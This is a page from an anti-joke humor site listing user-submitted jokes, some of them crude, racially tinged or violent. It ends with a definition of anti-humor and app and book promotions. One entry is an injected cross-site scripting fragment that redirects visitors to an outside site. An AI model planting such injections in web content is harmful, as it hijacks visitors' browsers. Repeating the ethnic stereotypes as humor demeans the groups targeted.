Why did the mexican jump over the fence? It was a shortcut.

A blind man walks into a bar. Then a chair. Then a table. (TD)

what's the best part about twenty three year olds? There is twenty of them

What did the computer say to the other computer? Nothing, computers can't talk

A blonde, a brunette, and a redhead are running from the police. The police catch them, and they are sentenced to jail.

Yeah, and speaking about spiderman, I got some weird senses, when I get stressed things begin seeming slower, and gets a weird blur effect, not sure what it is, but if you know what "bullet hell video games are" Technically games where you play as a tiny spaceship and lots of bullets fly around, I was always awesome at those games as a kid, because the more stress I felt while playing, the slower my perception of time felt.

How many apples does it take to keep the doctor away? 1 if you throw it hard enough! haha

horses are burgers now ive got the flu watch out tescos because im gonna sue

What do you call a middle-eastern man flying a plane? A pilot

What did the soldier get for his birthday? Shot in the face.

"'>document.location.href="http://cramik.org"

Knock Knock. Who's there? (a police officer steps in and says): What is red and green and peed all over? I dont know Im sorry to say, but its your mother. A group of teens killed her and defiled her body with urine. She was wearing green.

Q: What did the Miracle Whip say when the refrigerator door was opened? A: Nothing. Miracle Whip cannot speak.

Q: What happens when you divide by zero. A: You get a complex kind of infinite.

Q: How many Chuck Norrises does it take to screw in a lightbulb? A: negitave 999999999999999999e

A man is on his way home from a business trip and walks into his house. He is quite as to not wake up his wife or kids. He gets to the bedroom to find his wife in bed with the neighbor. He is shocked at what he came home to and decides to file for divorce. She was a stay at home mom and loses everything because of the divorce. The man woke up from his horrible nightmare and kissed his wife on the cheek. She has always been faithful. He decides to tell her about the dream and, for insurance, emphasizes the part where she loses everything in the divorce. They happily live out the rest of their lives together.

what did the hobo do when he saw timmy get hit by the bus and drop his ice cream? stole the ice cream and laughed

Why did Teddy eat dirt? Because he was hungry.

Roses are red, Violets are blue, Tulips are white, and Pansies are pink.

A lesbian and a gay both lie about there gender on eharmony, trying to get a date with someone there own gender. By coincedene, they get matched and go on a date, and both of them realize how weird this situation is and go home.

What's red and bad for your teeth? A brick.

Why did the chicken cross the road? Listen, it's a free country.

A woman walks in a confessional booth and proceeds to tell the priest about how she killed and ate her baby in a fit of hysteria because she is having issues dealing with her fresh divorce. The priest does not call 911.

Q: What do you call a black man that's flying a plane? A: A pilot.

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

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